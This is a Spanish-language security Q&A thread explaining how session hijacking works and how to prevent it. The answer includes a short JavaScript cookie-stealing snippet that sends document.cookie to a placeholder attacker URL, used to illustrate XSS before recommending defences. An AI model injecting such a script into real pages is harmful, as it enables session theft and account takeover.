Secuestro de sesión y autenticación

1

Estoy aprendiendo sobre los protocolos de autenticación y tengo problemas para comprender cómo se puede evitar el secuestro de sesiones.

Aprendí que una contramedida es usar protocolos de autenticación, que unen una clave de sesión única a un proceso de autenticación mutua sólido.

Digamos que usamos algún tipo de protocolo de respuesta de desafío mutuo con AES e incluimos una clave de sesión fuerte y aleatoria. Realmente no entiendo cómo funciona el secuestro de sesión, pero supongo que de alguna manera se realiza mediante inyección de código. Por lo tanto, la clave de sesión, que se almacena en la memoria, probablemente no sea segura y se puede tomar también, ¿no?

    
pregunta user66875 21.01.2017 - 17:44
fuente

1 respuesta

2

El secuestro de la sesión se realiza con mayor frecuencia mediante el uso de secuencias de comandos entre sitios (XSS), que cuando es exitoso puede tomar el token / clave de la sesión y enviarlo a un atacante en espera. El atacante puede usar el token de sesión como si fuera el usuario autenticado original, sin pasar por los controles de autenticación y accediendo a la aplicación. A menudo, la clave de la sesión simplemente se escribe en una cookie en la máquina cliente, a la que se puede acceder fácilmente a través de las API simples del navegador JavaScript, como se muestra a continuación:

<script>
        // get the token
        var token = document.cookie;

        // send it to attacker through http request to waiting endpoint
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open( "GET", "badguyurl?token=" + token, false );
        xmlHttp.send();
</script>

Los esfuerzos de prevención de secuestro de sesión deben centrarse en la prevención de ataques XSS, ataques de intermediarios, así como el uso de tokens criptográficamente sólidos y el cifrado de datos en tránsito (SSL / TLS).

Como señala Marcus, si un atacante tiene acceso de memoria al servidor web que aloja la aplicación (lo que probablemente indica un compromiso total de su servidor web), tiene más problemas de los que preocuparse.

    
respondido por el Justin Wolgamott 21.01.2017 - 19:53
fuente

Lea otras preguntas en las etiquetas